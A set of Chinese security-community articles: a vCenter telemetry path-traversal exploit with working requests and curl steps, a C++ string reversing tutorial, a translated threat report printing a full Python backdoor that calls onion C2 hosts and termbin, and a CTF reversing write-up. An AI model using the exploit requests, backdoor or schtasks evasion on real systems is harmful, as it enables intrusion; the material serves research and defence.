2. 调用TelemetryLevelBasedTelemetryServiceWrapper#processTelemetry 发起ceip遥测请求，，成功后进一步处理`_c`和`_i`
3. processTelemetry里调用`this._telemetryLevelService.getTelemetryLevel`来判断ceip遥测请求是否正常，这里也会传入`_c`和`_i`，如果开启成功可获取一个FULL值，除了需要开启ceip，还会对vmware的一个API接口发送请求，，需要注意的一点，如果之前没发起遥测请求，则对_c参数有要求，必须是一个合法的值，如果已经请求过，后续因为有缓存，不会再请求，则可成功通过校验。
4. 如果ceip未开启，可通过/ui/ceip-ui/ctrl/ceip/status/true开启，但vcenter之前需要有人已经登录过一次，否则会出现接口未认证的报错。
5. ceip请求成功后，processTelemetry接着调用LogTelemetryService#processTelemetry来解析`_c`和`_i`，log4j通过`_c$s_i$s`格式拼接日志路径，_i设置成如/../../../../../../tmp/test即可导致任意路径遍历写入文件，当`_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test`最终路径拼接如`/var/log/vmware/analytics/prod/_cvSphere.vapi.6_7_i/../../../../../../tmp/foo.json`，这里需要注意的是linux上目录遍历时需要遍历前的上级目录存在才可遍历。
## 验证
返回201表示漏洞存在
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 11
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
lorem ipsum
## 利用
第一步判断ceip
# 修改ceip
curl -kv -X PUT "https://192.168.111.11/ui/ceip-ui/ctrl/ceip/status/true" -d "{}" -H "Content-Type: application/json"
# 判断ceip是否启动
curl -k -v "https://192.168.111.11/analytics/telemetry/ph/api/level?_c=vSphere.vapi.6_7"
/var/log/vmware/analytics/prod创建 `prod`和`_cvSphere.vapi.6_7_i`
_i参数每次都要修改，因为文件如果被删除，就不会再次被创建了
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/temp HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 3
{}
写任意路径文件
POST /analytics/telemetry/ph/api/hyper/send?_c=vSphere.vapi.6_7&_i=/../../../../../../tmp/test HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: abc
Content-Length: 4
test
## 补丁分析
补丁包
VMware-analytics-6.7.0-18408195.x86_64.rpm，解压出来就是各种jar包和其他一些配置文件，对比jar包，定位到如下
对比补丁，补丁在AsyncTelemetryController#handleSendRequest里新增了一个条件判断
判断语句
(IdFormatUtil.isValidCollectorInstanceId(collectorInstanceId) && AsyncTelemetryController.this._collectorIdWhitelist.contains(collectorId))
IdFormatUtil.class在analytics-6.7.0.jar里
collectorInstanceId正则过滤`[\\w-]{1,64}`
=`[A-Za-z0-9_-]{1,64}`，如9D36C850-1612-4EC4-B8DD-50BA239A25BB，没法使用.和/，所以这个绕不过了
collectorId `[a-zA-Z][\w-\.]{1,40}[a-zA-Z0-9]`, 如vSphere.vapi.6_7，也没法使用/，但没调用。
collectorId是用一个白名单，需要调试才能最终确定白名单内容，但根据上面的正则也能大致猜测，这里的白名单估计和之前ceip
遥测请求的API接口是一样的。
this._collectorIdWhitelist为在控制器初始化的传入
另外除了公开的漏洞利用点之外，AsyncTelemetryController还有两个私有类也有patch，都是Callable的实现类（即多线程），这里会检查collectorId
另一个和之前漏洞点判断是一样的。
那么是否可以找到其他没做过滤的telemetryService.processTelemetry调用点，在这之前其实还需要检查下processTelemetry内部是否还有patch。
这里调用的实现类是TelemetryLevelBasedTelemetryServiceWrapper，另一个相关的是LogTelemetryService
TelemetryLevelBasedTelemetryServiceWrapper在analytics-6.7.0.jar里，但对比了补丁，没发现直接的改动。
但有其他几处DataAppAgentId做了相同的过滤，这就涉及到另一个漏洞点了。
LogTelemetryService在同个包里，也没做修改。 | 社区文章 |
CTF比赛中C++的题越来越多，题目中经常出现`string`，`vector`等，而实际上手时发现常常迷失在"库函数"中，比如跟进了空间配置器相关函数
最近研究一下关于这些的底层机制与逆向，应该会写成一个系列
# string
## 内存布局
`visual studio`的调试实在是太好用了，因此用它举例
定义一个`string`类，字符串为`abcd`，内存布局如下
其中，`size`是当前字符串长度，`capacity`是最大的容量
可以发现，`capacity`比`size`大的多
而`allocator`是空间配置器，可以看到单独的字符显示
原始视图中可以得知，字符串的首地址
可以看到，`abcd`字符串在内存中也是以`\x00`结尾的
## 扩容机制
正是由于`capacity`开辟了更多需要的空间，来具体研究一下它的策略
#include<iostream>
#include<string>
#include<stdlib.h>
#include<windows.h>
using namespace std;
int main(int argc, char** argv) {
string str;
for (int i = 0; i < 100; i++) {
str += 'a';
std::cout << "size : " << str.size() << " capacity : " << str.capacity() << std::endl;
}
system("pause");
return 0;
}
从输出结果发现，`capacity`的变化为`15 -> 31 -> 47 -> 70 -> 105`
注意到15是二进制的`1111`，而31是二进制的`11111`，可能是设计成这样的？...
只有第一次变化不是1.5倍扩容，后面都是乘以1.5
当长度为15时，如下，两个`0x0f`表示长度，而第一行倒数第三个`0f`则表示的是当前的`capacity`
再次`+='a'`
原先的`capacity`已经从0x0f变成了0x1f，长度也变成了16
而原先存储字符串的一部分内存也已经被杂乱的字符覆盖了
新的字符串被连续存储在另一块地址
> vs的调试中，红色代表刚刚改变的值
>
> 不过原先使用的内存里还有一些`aaaa...`，可能是因为还没有被覆盖到
## IDA视角
### 测试程序1
#include<iostream>
#include<string>
using namespace std;
int main(int argc, char** argv) {
string input;
cin >> input;
for (int i = 0; i < 3; i++) {
input += 'a';
}
for (int i = 0; i < 3; i++) {
input.append("12345abcde");
}
cout << input << endl;
return 0;
}
//visual studio 2019 x64 release
我用的IDA7.0，打开以后发现IDA似乎并没有对`string`的成员进行适合读代码的命名，只好自己改一下
第一块逻辑，当`size>capacity`时，调用`Rellocate_xxx`函数
否则，就直接在`str_addr`后追加一个97，也就是`a`
第二块逻辑，这次因为用的是`append()`，每次追加10个字符，即使是一个`QWORD`也无法存放，所以看到的是`memmove_0`函数
最后是`v9[10] = 0`，也是我们在vs中看到的，追加后，仍然会以`\x00`结尾
> 一开始我没想明白，`+='a'`为什么没有设置`\x00结尾`
>
> 后来才发现，*(_WORD*)&str_addr[_size] = 97;
>
> 这是一个`WORD`，2个byte，考虑小端序，`\x00`已经被写入了
至于其中的`Reallocate_xxx`函数，有点复杂...而且感觉也没必要深入了，刚刚已经在vs里了解扩容机制了
最后还有一个`delete`相关的
之前在做题时经常分不清作者写的代码、库函数代码，经常靠动态调试猜，多分析之后发现清晰了不少
### 测试程序2
#include<iostream>
#include<string>
using namespace std;
int main(int argc, char** argv) {
string input1;
string input2;
string result;
std::cin >> input1;
std::cin >> input2;
result = input1 + input2;
std::cout << result;
return 0;
}
//g++-4.7 main.cpp
这次用g++编译，发现逻辑很简明，甚至让我怀疑这是C++吗...
调用了一次`operator+`，然后`operator=`赋值，最后输出
但是用vs编译，IDA打开就很混乱...下次再仔细分析一下
### 测试程序3
#include<iostream>
#include<string>
using namespace std;
int main(int argc, char** argv) {
string input1;
string input2;
std::cin >> input1;
std::cin >> input2;
//语法糖
for(auto c:input2){
input1 += c;
}
std::cout << input1;
return 0;
}
//g++-4.7 main.cpp -std=c++11
仍然是g++编译的，IDA打开后虽然没有友好的命名，需要自己改，但是逻辑很清晰
`for(auto c:input2)`这句是一个"语法糖"，迭代地取出每一个字符，追加到`input1`上
IDA中可以看到，迭代器`begin和end`，通过循环中的`operator!=`判断是否已经结束，再通过`operator+=`追加，最后通过`operator++`来改变迭代器`input2_begin`的值
> 这里命名应该把`input2_begin`改成`iterator`更好一些，因为它只是一开始是`begin`
## 小总结
逆向水深...动态调试确实很容易发现程序逻辑，但是有反调试的存在
多练习纯静态分析也有助于解题，看得多了也就能分辨库函数代码和作者的代码了 | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接:<https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain>**
### 主要发现
* Proofpoint 识别了一个有针对性的攻击，黑客利用一个开源软件包安装程序 Chocolatey 传送后门。
* 这次袭击的目标是法国建筑、房地产和政府行业的实体。
* 攻击者使用了简历为主题，并以 GDPR 信息作为诱饵。
* 攻击者使用隐写术，包括一个卡通图像，来下载和安装毒蛇（Serpent）后门。
* 攻击者还演示了一种使用定时任务的新型检测绕过技术。
* 攻击者目前是未知的，但基于战术和受害者推测，它可能是一个高级的，有针对性的威胁组织。
### 概览
Proofpoint 发现了发生在法国建筑和政府部门实体的新的、有针对性的攻击行为。攻击者使用微软 Word 文档发布了 Chocolatey
安装程序包，这是一个开源的包安装程序。VBA 宏的各个部分包括下面的字符画，描绘了一条蛇，如下。
攻击者试图在潜在受害者的设备上安装一个后门，这个后门可以启用远程管理、命令和控制(C2)、数据盗窃或传送其他额外的有效负载。Proofpoint
将这个后门称为毒蛇。目前尚不清楚这个攻击者的最终目标。
### 攻击详情
在观察到的攻击活动中，信息是用法语写的，例如:
> From: "Jeanne"
> [jeanne.vrakele@gmail[.]com](mailto:jeanne.vrakele@gmail\[.\]com) Subject
> "Candidature - Jeanne Vrakele"
这些信息包含一个启用宏的微软 Word 文档，伪装成与“ RGPD”或欧盟《一般数据保护条例》有关的信息。
图1: GDPR 主题的诱饵
当启用宏时，文档执行该宏，该宏指向一个图像 URL，例如，https://www.fhccu[.]com/images/ship3[.]jpg,包含一个用
base64编码的 PowerShell 脚本，该脚本使用隐写术隐藏在图像中。PowerShell 脚本首先下载、安装和更新 Chocolatey
安装程序包和存储库[脚本](https://chocolatey.org/install.ps1)。Chocolatey是一个用于 Windows
的软件管理自动化工具，它将安装程序、可执行程序、压缩程序和脚本包装成编译包，类似于 OSX 的
Homebrew。该软件为开源和付费版本提供了不同级别的功能。在此之前，Proofpoint 还没有观察到黑客在攻击中使用 chocoatey。
该脚本然后使用 Chocolatey 安装 Python，包括[pip](https://pypi.org/project/pip/) Python
包安装程序，然后用它来安装各种依赖项，包括[PySocks](https://pypi.org/project/PySocks/)，一个基于 Python
的反向代理客户端，使用户能够通过 SOCKS 和 HTTP 代理服务器发送流量。
接下来，该脚本获取另一个图像文件，例如 https://www.fhccu[.]com/images/7[.]jpg，它包含了一个用 base64编码的
Python 脚本，同样使用了隐藏技术，并将 Python 脚本保存为
MicrosoftSecurityUpdate.py。然后，该脚本创建并执行一个.bat 文件，该bat文件执行 Python 脚本。
攻击链最后环节是一个缩短的 URL，该 URL 重定向到 Microsoft Office 帮助网站。
图2: “ Swiper”映像：使用 base64编码的PowerShell 脚本下载并安装 chocoatey 和 Python，并获取另一个隐写图像
Python 脚本(毒蛇后门)如下:
#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import requests
import re
import socket
import time
cmd_url_order = 'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html'
cmd_url_answer = 'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'
hostname = socket.gethostname()
hostname_pattern = 'host:%s-00' % hostname
headers = {}
referer = {'Referer': hostname_pattern}
cache_control = {'Cache-Control': 'no-cache'}
headers.update(referer)
headers.update(cache_control)
check_cmd_1 = ''
def recvall(sock, n):
data = b''
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def get_cmd():
req = requests.get(cmd_url_order, headers=headers).content.decode().strip()
if req == '':
pass
else:
return req
def run_cmd(cmd):
cmd_split = cmd.split('--')
if cmd_split[1] == hostname:
cmd = cmd_split[2]
print(cmd)
run = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)#.decode()
out = run.stdout.read()
if not out:
out = b'ok'
termbin_cnx = socks.socksocket()
termbin_cnx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.17.0.1', '9050', True)
termbin_cnx.connect(('termbin.com', 9999))
termbin_cnx.send(out)
recv = termbin_cnx.recv(100000)
termbin_url_created = recv.decode().rstrip('\x00').strip()
print(termbin_url_created)
termbin_header = {'Referer': hostname_pattern+" -- "+termbin_url_created}
headers.update(termbin_header)
try:
push = requests.get(cmd_url_answer, headers=headers)
print('executed')
headers.update(referer)
except Exception as e:
print(e)
pass
else:
print('not for me')
while True:
time.sleep(10)
try:
check_cmd = get_cmd()
if check_cmd != check_cmd_1:
time.sleep(20)
print(check_cmd)
run_cmd(check_cmd)
check_cmd_1 = check_cmd
pass
except Exception as e:
print(e)
pass
这个毒蛇后门会定期 ping “订单”服务器(第一个 onion[.]pet URL) ，并且需要 < random integer > \-- <
hostname > \-- < command > 这样的形式的响应。如果 < hostname >
与受感染计算机的主机名匹配，受感染的主机运行订单服务器提供的命令(< command >) ，这可以是攻击者指定的任何 Windows
命令，并记录输出。然后，该恶意软件使用 PySocks 连接到命令行 pastebin 工具 Termbin，将输出结果粘贴到bin，并接收bin的唯一
URL。最后，恶意软件向“应答”服务器发送请求(第二个onion[.]pet URL) ，包括标题中的主机名和 bin
URL。如此，攻击者通过“应答”URL 监视 bin 输出，并查看受感染主机的响应是什么。恶意软件在这个过程中无限循环。
图3: 毒蛇后门攻击链
这两个隐写图像托管在一个像牙买加信用合作社的网站。
图4: 使用 base64编码的 Python 脚本
黑客使用 Tor 代理来实现命令和控制(C2)基础设施，例如:
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.]pet/index.html
### 额外工具
除了在这个攻击链中使用的图像外，Proofpoint 的研究人员还观察到并确定了来自同一主机的额外有效载荷。其中一个特别有趣的地方是使用
schtasks.exe 的签名二进制代理执行的一个新的应用程序。值得注意的是，攻击者企图借助防御措施绕过侦测。
这个命令包含在一个类似的 Swiper 映像中，名为 ship.jpg，位于文件标记之后。
schtasks.exe /CREATE /SC ONEVENT /EC application /mo *[System/EventID=777] /f /TN run /TR "calc.exe" & EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO DummyEvent /D "Initiatescheduled task." & schtasks.exe /DELETE /TN run /f
上面的命令利用 schtasks.exe 创建一个一次性任务来调用一个可移植的可执行文件。在这种情况下，可执行文件称为 calc.exe。此任务的触发取决于
EventID 为777的 Windows 事件的创建。然后，该命令创建一个虚拟事件来触发该任务并从任务调度程序中删除该任务。这种特殊的任务逻辑应用程序导致
可移植的可执行文件文件作为 taskhostsw.exe 的子进程执行，这是一个已签名的 Windows 二进制文件。
### 威胁评估
黑客利用多种独特的行为和攻击目标表明，这可能是一个高级的，有针对性的攻击组织。
利用 Chocolatey 作为初始有效载荷，可以使黑客绕过威胁检测机制，因为它是一个合法的软件包，不会立即被识别为恶意软件。在网络流量中观察到的合法
Python 工具的后续使用也可能不会被标记为恶意。 在宏观和后续有效载荷中使用隐写术是独一无二的; Proofpoint
很少在攻击中看到隐写术的使用。此外，使用 schtasks.exe 来执行所需的可移植的可执行文件的技术也是独特的，以前没有被 Proofpoint
威胁研究人员发现过。
Proofpoint 没有将这种攻击与已知的黑客或团体联系起来。
威胁行为者的最终目的目前尚不清楚。成功的感染将使黑客能够进行各种攻击，包括窃取信息、获取受感染主机的控制权，或者安装额外的有效载荷。
**Indicators of Compromise**
**Indicator** | **Description**
---|---
https://www[.]fhccu[.]com/images/ship3[.]jpg | Encoded Payload URL
https://www[.]fhccu[.]com/images/7[.]jpg | Encoded Payload URL
http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid
[.]onion[.]pet/index[.]html | C2
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd
[.]onion[.]pet/index[.]html | C2
http://shorturl[.]at/qzES8 | ShortURL
jeanne.vrakele@gmail[.]com | Sender Email
jean.dupontel@protonmail[.]com | Sender Email
no-reply@dgfip-nanterre[.]com | Sender Email
f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2 | Docm SHA256
ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab | Docm SHA256
8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 | Docm SHA256
“Proofpoint”检测和阻止与这些攻击有关的所有文件，并公开了下列新出现的威胁签名:
2035303-ET INFO 发现的 chocoatey Windows包管理域(Chocolatey .org, TLS SNI)
2035306-ET INFO Chocolatey Windows 包管理安装文件检索
2851286-ETPRO 恶意脚本通过图像请求检索
* * * | 社区文章 |
# 2021WMCTF中的Re1&Re2
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Re1
首先ida反编译main函数会报错，这个一般是程序中有花指令导致的。
因为main函数比较大，用提示成功字符串定位到最后的汇编代码，向上翻翻便看见出问题的代码。
双击该地址，可以发现ida将这段数据解析成了代码且最上面有一个设置的条件绝对跳转跳过了执行下面的错误带代码，这里可以直接把jnb改成jmp，并把下面垃圾代码nop掉。
继续向上翻又可以看见如下的花指令：不断跳转到下一条指令，统统nop掉即可。
from ida_bytes import *
addr = 0x140002DEC
while addr <= 0x140002DFF:
patch_byte(addr, 0x90)
addr += 1
print('*'*100)
然后我们就可以反编译了。
先看到对输入的处理：
开始判断了flag长度范围[12, 45]，然后判断格式是否是WMCTF{}
接着申请了576字节大小的空间block，并把输入的除去格式（WMCTF{}外）的前4个字节以如下方式填入block
再把输入的除去格式（WMCTF{}外）的4-20字节填入block+530开始的位置。
最后就是将剩下的输入以 **_@#?!
&-$+**为区分，分别进行不同的处理。其中输入是hex形式，先把每4个hex转化两字节数据后，再用第一字节作为index，第二字节作为数据对block进行操作。
下面再看加密部分：
首先sub_7FF79BD33960()函数也是加了上面所说的花指令，去除后看到伪代码，用CRC算法生成256个4字节数据：
__int64 sub_7FF79BD33960()
{
__int64 result; // rax
unsigned int j; // [rsp+4h] [rbp-Ch]
unsigned int i; // [rsp+8h] [rbp-8h]
unsigned int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < 0x100; ++i )
{
v3 = i;
for ( j = 0; j < 8; ++j )
{
if ( (v3 & 1) != 0 )
v3 = (v3 >> 1) ^ 0x8320EDB8;
else
v3 >>= 1;
}
dword_7FF79BD57A70[i] = v3;
result = i + 1;
}
return result;
}
然后对前4字节填充的block，用CRC生成的256个4字节数据，经过移位，异或运算生成4个4字节数据后与硬编码的数据比较：
最后使用最开始在block填充的 **0xDEAD** 改变 **vars88，vaes84, vaes80, v58**
后作为密钥对除去WMCTF{}格式外输入的4-20字节进行2个xtea加密。
下面开始解密：
首先用z3将vars88，vaes84, vaes80, v58四个值就求出来：
from z3 import *
s = Solver()
key = [BitVec('x%d'%i, 32) for i in range(4)]
s.add((key[0]+key[1]) == 0x11AB7A7A)
s.add(key[1]-key[2] == 0x1CD4F222)
s.add(key[2]+key[3] == 0xC940F021)
s.add(key[0]+key[2]-key[3] == 0x7C7D68D1)
if s.check() == sat:
m = s.model()
m = [m[key[i]].as_long() for i in range(4)]
print(m)
else:
print('Not Found!')
#[2750330814, 1841087164, 1357369498, 2019106695]
再用上面4个数据依次爆破出对应的4字节明文数据：
#include <stdio.h>
unsigned int box[256];
char res[5];
int number[] = {0x100, 0x100, 0xf, 0x1c};
unsigned enc[] = {2750330814, 1841087164, 1357369498, 2019106695};
void gen_box()
{
unsigned int j; // [rsp+4h] [rbp-Ch]
unsigned int i; // [rsp+8h] [rbp-8h]
unsigned int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < 0x100; ++i )
{
v3 = i;
for ( j = 0; j < 8; ++j )
{
if ( (v3 & 1) != 0 )
v3 = (v3 >> 1) ^ 0x8320EDB8;
else
v3 >>= 1;
}
box[i] = v3;
}
}
unsigned int fun1(unsigned int a1, unsigned char a2[256], unsigned int a3)
{
unsigned int v4; // [rsp+4h] [rbp-1Ch]
unsigned int v5; // [rsp+8h] [rbp-18h]
v5 = 0;
v4 = a1;
while ( v5 < a3 )
v4 = (v4 >> 8) ^ box[(unsigned char)(a2[v5++] ^ v4)];
return a1 ^ v4;
}
unsigned int bp(int up, int number, unsigned int pre, unsigned int next)
{
for(int i = 0; i < 127; i++)
{
unsigned char block[256];
for(int j = 0; j < number; j++)
{
block[j] = i+j+up;
}
if(fun1(pre, block, number) == next)
return i;
}
}
int main(void)
{
gen_box();
for(int i = 0; i < 4; i++)
{
if(i == 0)
res[i] = bp(i, number[i], -2, enc[i]);
else
res[i] = bp(i, number[i], enc[i-1], enc[i]);
}
puts(res);
}
//Hah4
用满足前4字节的测试输入 **WMCTF{Hah41111111111111111}** 输入程序，然后在xtea加密前取出密钥：
但用这个密钥解密密文怎么都不正确。。还测试了自己的xtea解密好几遍，这里卡了好一会。
后面确定肯定是密钥的问题，但输入的前4字节是满足要求的，密钥是通过前4字节明文算出来的。但注意这里的密钥还用开始在block填充的 **0xDEAD**
的经过了变换的。这让我想到我忽略了输入的（WMCTF{}格式外）20字节后处理，开始闲麻烦懒得看直接跳过了。
所以问题现在应该就出在了有两个字节数据对密钥的影响。
爆破这2个字节，从解密结果中看像是flag的片段的：
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
unsigned int get_delat()
{
int i = 0;
unsigned int ans = 0, delat = 0x667E5433;
for(i = 0; i < 32; i++)
ans -= delat;
return ans;
}
void decrypt1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x667E5433, sum = get_delat();
//printf("%x", sum);
for(i = 0; i < num_rounds; i++)
{
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum += delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0, v[1]=v1;
}
int check(unsigned a)
{
for(int i = 0; i < 4; i++)
{
if(((char *)&a)[i] < 32 || ((char *)&a)[i] > 127)
return 0;
}
return 1;
}
int main(void)
{
//['a3eeb7be', '6dbcc2bc', '50e7d09a', '78591f87']
uint32_t k[4]={0x78591FAD, 0x6DBCC2BC, 0xA3EEB7BE, 0x50E7DE9A};
for(int i = 10; i < 0xff; i++)
{
for(int j = 0; j < 0xff; j++)
{
uint32_t v[2]={0x1989FB2B, 0x83F5A243};
k[3] &= 0xFFFF00FF;
k[3] |= i << 8;
k[0] &= 0xFFFFFF00;
k[0] |= j;
unsigned int r=32;
decrypt1(r, v, k);
if(check(v[0]) && check(v[1]))
{
for(int k = 0; k < 8; k++)
{
printf("%c", ((char *)v)[k]);
}
printf(" %x %x", i, j);
putchar(10);
}
}
}
return 0;
}
/*
pWRTPO{> 13 9f
<<R|CJA< 24 c7
\o{2%lSf 28 7f
t<o.:RMY 2d 69
b%AGkVTt 36 2d
e.xQVP!| 53 0
0bOMoJI8 54 b1
"pWU3*@+ 73 d2
>]zSE>?d 81 d7
(sqF m# 8a 6b
Z,wRg8T_ 92 76
yOu_L1kE b7 ad
!vta&K]M ba d3
K?Gl@~Rw bf b5
1C ="`~p c3 71
?&bqWg]_ cd b1
SX|6u|v f4 43
+zWv6`!C fb a2
*/
可以看到 **yOu_L1kE** ，满足要求的两个字节是 **0xb7 0xad**
然后解密2段密文再按一定顺序拼接一下得到： **_D0_yOu_L1kE_It!**
现在就是去求 **_@#?! &-$+**对应的处理函数怎么才能将 ** _((_WORD_ )Block + 273)**的0xDEAD的改为
**0xB7AD** 。
输入为hex，4字节为一组转化为2个byte，第一个byte是index，第二个byte是data
根据要求推算出这样一个顺序是满足b要求的：
首先 **@** 对应的处理函数将block[256] = 0xFE。注意下面是char a2，所以传入0xFF就是-1了，因此满足输入为：
**[@FFFE](https://github.com/FFFE "@FFFE")**
然后 **#** 对应的处理函数将block[528] = 0x20，因此满足输入： **#0F20**
最后 **–** 对应的处理函数将block[527] = 0xB7，也是我们最后的终点。因此满足输入： **-11B7**
可以看到上面要能执行最后的 ** _(_BYTE_ )(a1 + 530 + a2) = a3;**要求是(*(unsigned __int16 *)(a1
+ 528) % 16) == 0，(unsigned int)(*(unsigned __int16 *)(a1 + 528) / 16) < 3
用这2个限制爆破得到：
>>> a = [i for i in range(0xff) if i%16 == 0 and i/16 < 3]
>>> a
[0, 16, 32]
而我们的index为17且 **index < _(unsigned __int16_ )(a1 + 528)**，所以满足要求的就只有最后的32了，故上面
**#** 对应的处理函数要将block[528] = 0x20。
最后将我们的所有输入拼接起来得到flag：
**WMCTF{Hah4_D0_yOu_L1kE_It#0F20-11B7}**
## Re2
jadx打开app，可以看到关键在native层。
到so文件找到 **JNI_Onload**
其中，上面的JNI_Onload根据sub_7079FF9BBC函数的返回值注册不同的函数。
看到sub_7079FF9BBC：它通过查看 **/data/local/su** 是否存在，也就是判断我们的运行环境中有没有root
所以JNI_Onload是根据运行环境是否root注册不同的函数来执行。
接着我把程序在root与非root手机运行来看一下，root下运行随便输入后显示： **fake branch**
，而在非root的手机上运行随便输入后显示： **failed,please try again!!!**
，以此可以得出，我们要分析的非root才注册的函数。
然后也去看了一下root下注册的假流程：经过上面一些加密后最终都是返回同一个字符串。
查看返回的字符串，发现并不是字符串数据，从交叉引用发现.init_array中一些初始化函数对其进行了解密。
并且.init_array中初始化函数动态解密了程序中很多数据：
对上面假流程返回的字符串异或0x6d解密后得到：fake branch
再看到正确分支流程：先异或解密一些数据后注册了如下的函数。
jstring __fastcall sub_7079FF9134(JNIEnv *a1, __int64 a2, __int64 a3)
{
const char *v5; // x21
_BYTE *v6; // x20
char *v7; // x21
__int64 v8; // x0
char *v9; // x1
__int64 v10; // x8
size_t v11; // w0
const char *v12; // x1
const char *v13; // x1
jstring v14; // x19
_BYTE v16[56]; // [xsp-30h] [xbp-170h]
unsigned __int64 v17[2]; // [xsp+8h] [xbp-138h] BYREF
char *v18; // [xsp+18h] [xbp-128h]
__int128 v19; // [xsp+20h] [xbp-120h] BYREF
unsigned __int64 v20[2]; // [xsp+38h] [xbp-108h] BYREF
char *v21; // [xsp+48h] [xbp-F8h]
__int64 v22; // [xsp+F8h] [xbp-48h]
v22 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
strcpy_0(v17, (char *)&xmmword_707A02F0A0);
v5 = (*a1)->GetStringUTFChars(a1, a3, 0LL);
if ( (*a1)->GetStringLength(a1, (jstring)a3) == 32 )
{
v6 = (_BYTE *)operator new[](0x21uLL);
__strcpy_chk(v6, v5, 33LL);
v7 = (char *)operator new[](0x1EuLL);
sub_7079FF9E80();
v8 = __strlen_chk(v7, 0x1Eu);
v7[(int)v8] = 102;
v7[((v8 << 32) + 0x100000000LL) >> 32] = 108;
v7[((v8 << 32) + 0x200000000LL) >> 32] = 103;
v7[((v8 << 32) + 0x300000000LL) >> 32] = 0;
v19 = xmmword_707A01E5D0;
sub_7079FFA934((__int64)v20, v7, (long double *)&v19);
sub_7079FFAE6C(v20, v6, 0x20uLL);
strcpy_0(v20, (char *)&qword_707A02F058);
if ( (v20[0] & 1) != 0 )
v9 = v21;
else
v9 = (char *)v20 + 1;
sub_7079FFA624((int)&v19, v9);
v10 = 0LL;
while ( v16[v10] == stru_707A02F000[0].n128_u8[v10] )
{
if ( ++v10 == 32 )
{
v11 = strlen((const char *)&aQpyl);
sub_7079FF9670((int)v17, &aQpyl, v11);
if ( (v17[0] & 1) != 0 )
v12 = v18;
else
v12 = (char *)v17 + 1;
goto LABEL_18;
}
}
if ( (v17[0] & 1) != 0 )
v12 = v18;
else
v12 = (char *)v17 + 1;
LABEL_18:
v14 = (*a1)->NewStringUTF(a1, v12);
if ( (v20[0] & 1) != 0 )
operator delete(v21);
}
else
{
if ( (v17[0] & 1) != 0 )
v13 = v18;
else
v13 = (char *)v17 + 1;
v14 = (*a1)->NewStringUTF(a1, v13);
}
if ( (v17[0] & 1) != 0 )
operator delete(v18);
return v14;
}
先简单静态分析一下，开始是判断输入的长度是否为32。
然后sub_7B4933FE80函数读取某个文件内容经过对比后返回一串字符串：
后面接着对上面获取到的字符串进行如下赋值：
其实就是在其末尾加上 **flg**
len = strlen(init_key);
init_key[len] = 'f';
init_key[len+1] = 'l';
init_key[len+2] = 'g';
init_key[len+3] = '\x0';
接着sub_7B49340934函数传入两个参数，其中的sub_7B49340820函数用了传入的一个参数串进行aes的密钥扩展：字节替换（但是这里的sbox是替换过的），移位，轮常数异或。44/4
= 11，这也说明了是aes_128，因为密钥11组。
再是将另外一个参数存放在扩展密钥的尾部：
接着的sub_7B49340E6C函数也是很明显的aes_128_cbc加密，sub_7B4934097C中清晰的初始轮（轮密钥加），重复轮（字节替换，行移位，列混合，轮密钥加），最终轮（字节替换，行移位，轮密钥加）结构：
最后sub_7B49340624函数rc4加密，但多异或了0x50：
